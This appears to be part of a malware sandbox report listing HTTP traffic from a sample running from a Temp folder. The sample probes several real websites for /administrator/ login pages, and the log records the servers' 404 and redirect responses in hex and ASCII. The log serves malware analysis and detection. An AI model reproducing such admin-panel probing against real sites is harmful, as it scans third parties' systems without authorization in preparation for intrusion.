Dec 20, 2023 03:13:20.075933933 CET	284	IN	HTTP/1.1 301 Moved Permanently Age: 31227 Content-Length: 0 Date: Tue, 19 Dec 2023 17:32:52 GMT Location: https://www.rosetre.com/administrator/ Server: Squarespace Set-Cookie: crumb=BU6NL2zU0i24MzVhOWVjYjY3YWJhN2NkZDFiMjFiNmVjY2E1ZjNj;Path=/ X-Contextid: HdlfZg0M/e7u95MPg
Dec 20, 2023 03:13:23.429553986 CET	301	OUT	GET /administrator/index.php HTTP/1.1 Host: rosetre.com Accept: / Accept-Encoding: deflate, gzip Cookie: crumb=BU6NL2zU0i24MzVhOWVjYjY3YWJhN2NkZDFiMjFiNmVjY2E1ZjNj User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rosetre.com/administrator/
Dec 20, 2023 03:13:23.591325045 CET	1276	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache, must-revalidate Content-Length: 77570 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Dec 2023 02:13:23 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: HdlfZg0M/pddbtNGu Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 63 Data Ascii: <!DOCTYPE html><head> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 300; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 300; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Clarkson", sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span { margin: 0 11px; font-size: 1em; font-weight: 300; c
Dec 20, 2023 03:13:23.591404915 CET	1276	IN	Data Raw: 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: olor: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 300; color: #191919; } @media (max-width: 600px) { body { font-size: 10px; } } @font-face { font-family: 'Clarkson'; font-
Dec 20, 2023 03:13:23.591623068 CET	1276	IN	Data Raw: 4c 57 58 69 45 6a 6b 6a 50 2f 45 62 4e 73 72 37 4a 58 55 39 6b 62 54 57 76 76 4e 49 74 64 68 59 66 30 56 70 6a 56 43 35 78 36 41 57 48 30 43 6f 70 4a 39 6b 4c 4c 32 46 4d 6f 34 31 75 6f 5a 46 46 49 77 58 30 76 79 48 75 45 6a 48 59 48 32 56 6d 72 Data Ascii: LWXiEjkjP/EbNsr7JXU9kbTWvvNItdhYf0VpjVC5x6AWH0CopJ9kLL2FMo41uoZFFIwX0vyHuEjHYH2VmrxOkqFo0adgxDecFou4ep9oyEd/DYGc3ZB+z+7LZeRzLqapLukxRFwknNZLe1mD3UUryptN0i8agj3nXEkMT3jM6TFgFmSPui9ANP5tgumW+7GL2HT49v6T21zEFSmU/PyRmlIHkbMttrEh8jq70i9RKy000O7s/J2
Dec 20, 2023 03:13:23.591763973 CET	268	IN	Data Raw: 78 71 47 69 48 63 52 46 7a 33 71 43 59 53 35 6f 69 36 56 6e 58 56 63 2b 31 6a 6f 48 35 33 57 4c 6c 77 6a 39 5a 58 78 72 33 37 75 63 66 65 38 35 4b 59 62 53 5a 45 6e 4e 50 71 75 59 51 4c 64 5a 47 75 47 6a 75 6d 36 37 4f 36 76 73 34 70 7a 6e 4e 4e Data Ascii: xqGiHcRFz3qCYS5oi6VnXVc+1joH53WLlwj9ZXxr37ucfe85KYbSZEnNPquYQLdZGuGjum67O6vs4pznNN15fYXFdOLuLWXrsKEmCQSfZo21npOsch0vJ4uwm8gxs1rVFd7xXNcYLdHOA8u6Q+yN/ryi71Hun8adEPitdau1oRoJdRdmo7vWKu+0nK470m8D6uPnOKeCe7xMpwlB3s5Szbpd7HP+rKdvVh6f1F0Y/zD8P1sa53N
Dec 20, 2023 03:13:23.591864109 CET	1276	IN	Data Raw: 34 6c 4d 59 63 71 2b 5a 58 75 5a 73 78 54 49 4d 35 5a 7a 6e 4f 75 49 56 7a 61 6e 45 38 43 58 6a 4f 52 4a 38 38 35 36 67 57 65 63 49 73 37 33 47 34 49 56 61 54 6f 6d 2b 46 64 5a 6d 6b 31 33 69 51 68 5a 70 56 76 77 57 61 65 4a 4a 76 5a 77 6d 5a 66 Data Ascii: 4lMYcq+ZXuZsxTIM5ZznOuIVzanE8CXjORJ8856gWecIs73G4IVaTom+FdZmk13iQhZpVvwWaeJJvZwmZfgLrMEPDsmWSeTP2pgBIVqr44ljnDOc42NDfmKJscRnzjslLu8YD7DeUiQta8q+gTM8UuJgxqs1ltlxGmF3mHRe8w7M6YKbpYWBIZw6abAXoINXCHv8WIYdhau8bWC2V991qxUKLIeS5yocFv2WSejEdfhwp5nBV/y
Dec 20, 2023 03:13:23.592006922 CET	1276	IN	Data Raw: 62 33 6d 5a 31 45 36 68 46 5a 43 4f 74 4a 6d 38 39 4a 38 42 6e 78 37 48 39 43 4d 66 7a 59 41 58 4d 37 66 6d 78 47 73 68 77 4c 6a 56 68 6f 78 30 49 4c 46 71 72 77 35 2b 64 6f 7a 31 4b 74 35 6c 47 73 76 61 68 79 6a 4d 75 52 56 48 49 4e 4b 49 41 53 Data Ascii: b3mZ1E6hFZCOtJm89J8Bnx7H9CMfzYAXM7fmxGshwLjVhox0ILFqrw5+doz1Kt5lGsvahyjMuRVHINKIASaMX6Aaz/zP39dVJaibMTznE8XEmMq8H7zHPYm8ZeF/aKMDTB0O12KY6trbCV4ekxPC26HLAH2M1LTSQ0hyP1ROTBMgNLCwxVMHS4fHg2e2RNqvGnJI340EzbSTZWms3Y345WE1qeFIiJPGPnKHYK2JjCRhQbe7Dxt
Dec 20, 2023 03:13:23.592051983 CET	1276	IN	Data Raw: 4a 49 64 55 67 7a 75 6b 70 63 44 65 4a 72 47 31 62 6d 34 57 73 62 6c 75 59 78 4f 77 31 62 47 7a 77 4c 30 44 74 4c 41 71 42 6c 41 74 30 35 36 4c 61 6a 65 7a 71 36 48 72 5a 50 77 2f 4d 30 39 6b 66 67 47 63 66 7a 42 4f 77 72 79 52 61 56 44 73 36 44 Data Ascii: JIdUgzukpcDeJrG1bm4WsbluYxOw1bGzwL0DtLAqBlAt056Lajezq6HrZPw/M09kfgGcfzBOwryRaVDs6DJQcm6Z8PXsbsd4goAUYk4XLU6HLUiC2fVyfFCeYUc9OUuGlK7uaNENPDxPKgKHrPYD2KRgA0Jz1pdYiVah3ihI8SsbuZ7Qut7FtdT28OepdJALQ9kcuIqJaIlksKpGWQaBJEs5Ro2uE5F6+znJOlnPHleN2O10143
Dec 20, 2023 03:13:23.592247963 CET	1276	IN	Data Raw: 5a 54 6f 6d 2b 43 35 70 6e 6e 30 5a 74 5a 4f 73 63 53 62 64 54 51 5a 49 5a 49 6a 7a 4e 47 71 33 6a 5a 65 59 56 58 71 62 44 42 4b 37 7a 4f 50 76 37 4e 6d 78 7a 6d 4d 43 6f 36 79 78 47 4f 70 71 4a 4c 78 51 45 50 50 38 65 62 6b 68 32 78 6a 78 50 73 Data Ascii: ZTom+C5pnn0ZtZOscSbdTQZIZIjzNGq3jZeYVXqbDBK7zOPv7NmxzmMCo6yxGOpqJLxQEPP8ebkh2xjxPso8Vpyed4bWtGDod5nbfYx2tE9IjIcwqDOQxCLgjqhrjJapxQj5aykZ/KjJyp8vYw2jOkioWHg6QaitbobouivfRYdGlwB0//RiIvIqLJ/al9rsfi5oavS3VijivkmceYKJ2jlOzsy3jzHBrGuPR1YpMFFrB1bJ8us
Dec 20, 2023 03:13:23.592278957 CET	1276	IN	Data Raw: 4b 4b 62 77 45 6d 55 72 39 49 52 64 38 6c 67 73 49 66 2b 75 77 66 68 39 72 73 6a 2f 2f 30 34 7a 38 50 49 39 68 69 6d 33 61 35 51 30 68 41 67 43 76 57 73 45 6c 37 48 4c 47 6b 53 6d 38 78 79 37 34 61 37 52 49 71 32 52 79 68 4c 4c 71 34 76 45 4e 78 Data Ascii: KKbwEmUr9IRd8lgsIf+uwfh9rsj//04z8PI9him3a5Q0hAgCvWsEl7HLGkSm8xy74a7RIq2RyhLLq4vENxWg6Z8OdDn9k/pO8nvZ82B9HQH4suep5bgnoW/t4r+OSsr3KDZZ7hjnjRmpSwWGJ1Rz24Sgbupfrusw+nYg9brZp6vKv2bXV9yNo3FwRf1UmbhULadGRmefHVN7jCO1g05Yzd4bBIOYMOd3ZMy3lBovUZqA+G9Ip1V
Dec 20, 2023 03:13:23.592334986 CET	1276	IN	Data Raw: 57 39 51 6d 2b 6b 37 6b 35 75 59 62 72 75 30 61 4e 30 4a 59 59 52 78 4a 2b 54 49 52 2b 6e 4c 46 4d 64 4f 39 39 63 4f 75 69 69 68 38 46 49 79 73 53 4d 78 4b 7a 59 77 45 59 32 73 59 57 74 62 4f 4d 45 64 72 4b 62 50 65 78 6c 48 77 64 34 48 69 2f 67 Data Ascii: W9Qm+k7k5uYbru0aN0JYYRxJ+TIR+nLFMdO99cOuiih8FIysSMxKzYwEY2sYWtbOMEdrKbPexlHwd4Hi/ghbyIF/MSXuoOf52DHIoeT/J0/wJ3SqRpQnpexxt4N+/hvbyP9ztH3+MHTs4d3Mnd3MuDPMpjQmmVVVe7pmpu5KHLiejRfHs+PruYnKemd+nbnlzBbpT+/sSSBYiT///ekfH78UPEBWNubh73czs77OmucVf3h6/Pn
Dec 20, 2023 03:13:23.750756979 CET	1276	IN	Data Raw: 2f 71 55 5a 5a 48 77 6a 6f 6a 59 54 73 6a 59 66 6d 34 36 56 4d 69 5a 79 64 45 7a 72 5a 48 7a 71 5a 46 7a 72 5a 46 7a 6e 5a 45 7a 72 4b 52 73 33 7a 6b 72 44 74 79 6c 6f 75 63 37 59 36 63 35 53 4e 6e 32 63 68 5a 4c 72 37 35 4d 79 53 4d 55 44 65 44 Data Ascii: /qUZZHwjojYTsjYfm46VMiZydEzrZHzqZFzrZFznZEzrKRs3zkrDtylouc7Y6c5SNn2chZLr75MySMUDeDNMxk2kyDdtPEJJOKxLSMvRjTTD7cnRbuTgp3m8OV6eHKjHBlZrgyK1yZHa7MCVfmhivzwpWOcKUzXOkKV7rDlZ5wpTdc6QtX+sOVgfBjOPwohx9Tw4/28CMXfmTCj9bwoxZ+JOFHMfwYCj9K4ceU8KMt/MiGH+nwo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	51132	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.910244942 CET	187	OUT	GET /administrator/ HTTP/1.1 Host: centurylaboratories.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.063297987 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-181.ec2.internal X-Request-Id: f9afd5c5-2eb0-428d-87cf-726fc0880b5c Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Dec 20, 2023 03:13:20.087088108 CET	252	OUT	GET /administrator/index.php HTTP/1.1 Host: centurylaboratories.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://centurylaboratories.com/administrator/
Dec 20, 2023 03:13:20.241019011 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-234.ec2.internal X-Request-Id: 0ef2397c-4d39-441a-b377-762078f33ae1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50880	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.912444115 CET	180	OUT	GET /administrator/ HTTP/1.1 Host: lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.114732981 CET	457	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Location: http://www.lisvankooten.com/administrator/ Content-Length: 250 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.lisvankooten.com/administrator/">here</a>.</p></body></html>
Dec 20, 2023 03:13:20.315243959 CET	457	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Location: http://www.lisvankooten.com/administrator/ Content-Length: 250 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.lisvankooten.com/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	51379	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.918397903 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: micresearch.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.549721003 CET	922	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private Set-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.net X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=knXMp7UW5HOy%2B9gD6locYL67pbdCfxTgu9ahzJ6E%2FGJU0Fc9TkrZuooPN8OyRqXLiL0DZ%2BNwXaGrbL7Wt8RA%2FYqghetXHi1e%2BAbRBJ8p3NiJtT26ULosLMctxMc%2B%2BLhOOOw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845d8fdd372593-MIA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Dec 20, 2023 03:13:20.549770117 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 20, 2023 03:13:20.614988089 CET	322	OUT	GET /administrator/index.php HTTP/1.1 Host: micresearch.net Accept: / Accept-Encoding: deflate, gzip Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://micresearch.net/administrator/
Dec 20, 2023 03:13:20.981406927 CET	742	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1Mzh1jubMKeM98xX%2BeU%2BFNqbmQDJ%2BnPk0siA8xYnSx9M6eHG%2FCOn%2FtpJZbV8dEU5W4s8ZMQnOuRPGBg9lTM6I6pK%2BtqO8GxkK84k%2F3TYpk1eGx8kiwr2QpOg7JCeb%2BtMoeg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845d942ca82593-MIA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Dec 20, 2023 03:13:20.981419086 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	51395	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.920234919 CET	176	OUT	GET /administrator/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.072321892 CET	954	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://walshfam.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_I8i9jo/v1bGBfYs8FvPGV1aBUSadZpKsxYBHvxrZb8bpRso2bbwcU3bo44SD+1gCvFTJUjSLNNdC50MmuvZZCA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
